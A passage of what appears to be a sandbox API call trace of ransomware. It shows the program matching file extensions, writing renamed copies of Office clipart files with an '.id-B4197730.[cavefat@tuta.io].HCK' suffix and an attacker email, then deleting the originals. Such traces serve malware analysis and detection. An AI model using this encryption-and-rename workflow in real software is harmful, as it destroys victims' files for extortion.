lstrlenW (lpString=".rar") returned 4 [0229.648] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0229.648] lstrlenW (lpString=".bz2") returned 4 [0229.648] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0229.648] lstrlenW (lpString=".7z") returned 3 [0229.648] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0229.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0229.648] lstrlenW (lpString=".dbf") returned 4 [0229.648] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0229.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0229.648] lstrlenW (lpString=".1cd") returned 4 [0229.648] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0229.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0229.648] lstrlenW (lpString=".jpg") returned 4 [0229.648] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0229.648] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0229.649] lstrlenW (lpString="J0101863.BMP") returned 12 [0229.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0229.649] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=32184) returned 1 [0229.649] CloseHandle (hObject=0x4a8) returned 1 [0229.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp")) returned 0x220 [0229.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0229.650] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.650] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0229.651] GetLastError () returned 0x0 [0229.651] ReadFile (in: hFile=0x4a8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x7db8, lpOverlapped=0x0) returned 1 [0229.653] WriteFile (in: hFile=0x534, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0229.653] ReadFile (in: hFile=0x4a8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0229.654] WriteFile (in: hFile=0x534, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0229.654] SetEndOfFile (hFile=0x534) returned 1 [0229.654] CloseHandle (hObject=0x534) returned 1 [0229.654] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.654] SetEndOfFile (hFile=0x4a8) returned 1 [0229.657] CloseHandle (hObject=0x4a8) returned 1 [0229.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.658] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp")) returned 1 [0229.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0229.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0229.658] lstrlenW (lpString=".doc") returned 4 [0229.658] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0229.658] lstrlenW (lpString=".docx") returned 5 [0229.658] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1 [0229.658] lstrlenW (lpString=".pdf") returned 4 [0229.658] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0229.658] lstrlenW (lpString=".xls") returned 4 [0229.658] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0229.658] lstrlenW (lpString=".xlsx") returned 5 [0229.658] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1 [0229.658] lstrlenW (lpString=".ppt") returned 4 [0229.658] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0229.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0229.658] lstrlenW (lpString=".zip") returned 4 [0229.658] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0229.658] lstrlenW (lpString=".rar") returned 4 [0229.658] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0229.658] lstrlenW (lpString=".bz2") returned 4 [0229.659] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0229.659] lstrlenW (lpString=".7z") returned 3 [0229.659] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0229.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0229.659] lstrlenW (lpString=".dbf") returned 4 [0229.659] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0229.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0229.659] lstrlenW (lpString=".1cd") returned 4 [0229.659] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0229.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0229.659] lstrlenW (lpString=".jpg") returned 4 [0229.659] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0229.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0229.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0229.659] lstrlenW (lpString=".doc") returned 4 [0229.659] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0229.659] lstrlenW (lpString=".docx") returned 5 [0229.659] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1 [0229.659] lstrlenW (lpString=".pdf") returned 4 [0229.659] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0229.659] lstrlenW (lpString=".xls") returned 4 [0229.659] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0229.659] lstrlenW (lpString=".xlsx") returned 5 [0229.659] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1 [0229.659] lstrlenW (lpString=".ppt") returned 4 [0229.659] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0229.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0229.659] lstrlenW (lpString=".zip") returned 4 [0229.659] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0229.659] lstrlenW (lpString=".rar") returned 4 [0229.659] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0229.659] lstrlenW (lpString=".bz2") returned 4 [0229.659] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0229.659] lstrlenW (lpString=".7z") returned 3 [0229.659] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0229.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0229.659] lstrlenW (lpString=".dbf") returned 4 [0229.659] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0229.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0229.659] lstrlenW (lpString=".1cd") returned 4 [0229.659] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0229.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0229.659] lstrlenW (lpString=".jpg") returned 4 [0229.660] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0229.660] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0229.660] lstrlenW (lpString="J0101864.BMP") returned 12 [0229.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0229.660] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=31968) returned 1 [0229.660] CloseHandle (hObject=0x4a8) returned 1 [0229.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp")) returned 0x220 [0229.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0229.661] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.661] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0229.662] GetLastError () returned 0x0 [0229.662] ReadFile (in: hFile=0x4a8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0229.780] WriteFile (in: hFile=0x534, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0229.781] ReadFile (in: hFile=0x4a8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0229.781] WriteFile (in: hFile=0x534, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0229.781] SetEndOfFile (hFile=0x534) returned 1 [0229.781] CloseHandle (hObject=0x534) returned 1 [0229.781] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.781] SetEndOfFile (hFile=0x4a8) returned 1 [0229.784] CloseHandle (hObject=0x4a8) returned 1 [0229.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.843] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp")) returned 1 [0229.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0229.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0229.964] lstrlenW (lpString=".doc") returned 4 [0229.964] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0229.964] lstrlenW (lpString=".docx") returned 5 [0229.964] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1 [0229.964] lstrlenW (lpString=".pdf") returned 4 [0229.964] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0229.964] lstrlenW (lpString=".xls") returned 4 [0229.964] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0229.964] lstrlenW (lpString=".xlsx") returned 5 [0229.964] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1 [0229.964] lstrlenW (lpString=".ppt") returned 4 [0229.964] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0229.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0229.964] lstrlenW (lpString=".zip") returned 4 [0229.964] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0229.964] lstrlenW (lpString=".rar") returned 4 [0229.964] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0229.964] lstrlenW (lpString=".bz2") returned 4 [0229.964] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0229.964] lstrlenW (lpString=".7z") returned 3 [0229.964] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0229.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0229.964] lstrlenW (lpString=".dbf") returned 4 [0229.964] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0229.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0229.964] lstrlenW (lpString=".1cd") returned 4 [0229.964] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0229.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0229.964] lstrlenW (lpString=".jpg") returned 4 [0229.964] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0229.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0229.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0229.965] lstrlenW (lpString=".doc") returned 4 [0229.965] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0229.965] lstrlenW (lpString=".docx") returned 5 [0229.965] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1 [0229.965] lstrlenW (lpString=".pdf") returned 4 [0229.965] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0229.965] lstrlenW (lpString=".xls") returned 4 [0229.965] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0229.965] lstrlenW (lpString=".xlsx") returned 5 [0229.965] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1 [0229.965] lstrlenW (lpString=".ppt") returned 4 [0229.965] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0229.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0229.965] lstrlenW (lpString=".zip") returned 4 [0229.965] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0229.965] lstrlenW (lpString=".rar") returned 4 [0229.965] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0229.965] lstrlenW (lpString=".bz2") returned 4 [0229.965] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0229.965] lstrlenW (lpString=".7z") returned 3 [0229.965] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0229.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0229.965] lstrlenW (lpString=".dbf") returned 4 [0229.965] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0229.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0229.965] lstrlenW (lpString=".1cd") returned 4 [0229.965] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0229.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0229.965] lstrlenW (lpString=".jpg") returned 4 [0229.965] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0229.965] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0229.965] lstrlenW (lpString="J0102984.WMF") returned 12 [0229.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0230.078] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=17040) returned 1 [0230.078] CloseHandle (hObject=0x4d4) returned 1 [0230.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf")) returned 0x220 [0230.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0230.079] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.079] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0230.080] GetLastError () returned 0x0 [0230.080] ReadFile (in: hFile=0x4d4, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x4290, lpOverlapped=0x0) returned 1 [0230.081] WriteFile (in: hFile=0x4a8, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x42a0, lpOverlapped=0x0) returned 1 [0230.082] ReadFile (in: hFile=0x4d4, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0230.082] WriteFile (in: hFile=0x4a8, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0230.082] SetEndOfFile (hFile=0x4a8) returned 1 [0230.082] CloseHandle (hObject=0x4a8) returned 1 [0230.082] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.082] SetEndOfFile (hFile=0x4d4) returned 1 [0230.084] CloseHandle (hObject=0x4d4) returned 1 [0230.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.085] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf")) returned 1 [0230.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0230.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0230.085] lstrlenW (lpString=".doc") returned 4 [0230.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.085] lstrlenW (lpString=".docx") returned 5 [0230.085] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0230.085] lstrlenW (lpString=".pdf") returned 4 [0230.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.085] lstrlenW (lpString=".xls") returned 4 [0230.085] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.085] lstrlenW (lpString=".xlsx") returned 5 [0230.085] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0230.085] lstrlenW (lpString=".ppt") returned 4 [0230.085] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0230.085] lstrlenW (lpString=".zip") returned 4 [0230.085] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.085] lstrlenW (lpString=".rar") returned 4 [0230.085] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.085] lstrlenW (lpString=".bz2") returned 4 [0230.086] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.086] lstrlenW (lpString=".7z") returned 3 [0230.086] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0230.086] lstrlenW (lpString=".dbf") returned 4 [0230.086] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0230.086] lstrlenW (lpString=".1cd") returned 4 [0230.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0230.086] lstrlenW (lpString=".jpg") returned 4 [0230.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0230.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0230.086] lstrlenW (lpString=".doc") returned 4 [0230.086] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.086] lstrlenW (lpString=".docx") returned 5 [0230.086] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0230.086] lstrlenW (lpString=".pdf") returned 4 [0230.086] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.086] lstrlenW (lpString=".xls") returned 4 [0230.086] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.086] lstrlenW (lpString=".xlsx") returned 5 [0230.086] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0230.086] lstrlenW (lpString=".ppt") returned 4 [0230.086] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0230.086] lstrlenW (lpString=".zip") returned 4 [0230.086] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.086] lstrlenW (lpString=".rar") returned 4 [0230.086] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.086] lstrlenW (lpString=".bz2") returned 4 [0230.086] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.086] lstrlenW (lpString=".7z") returned 3 [0230.086] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0230.086] lstrlenW (lpString=".dbf") returned 4 [0230.086] 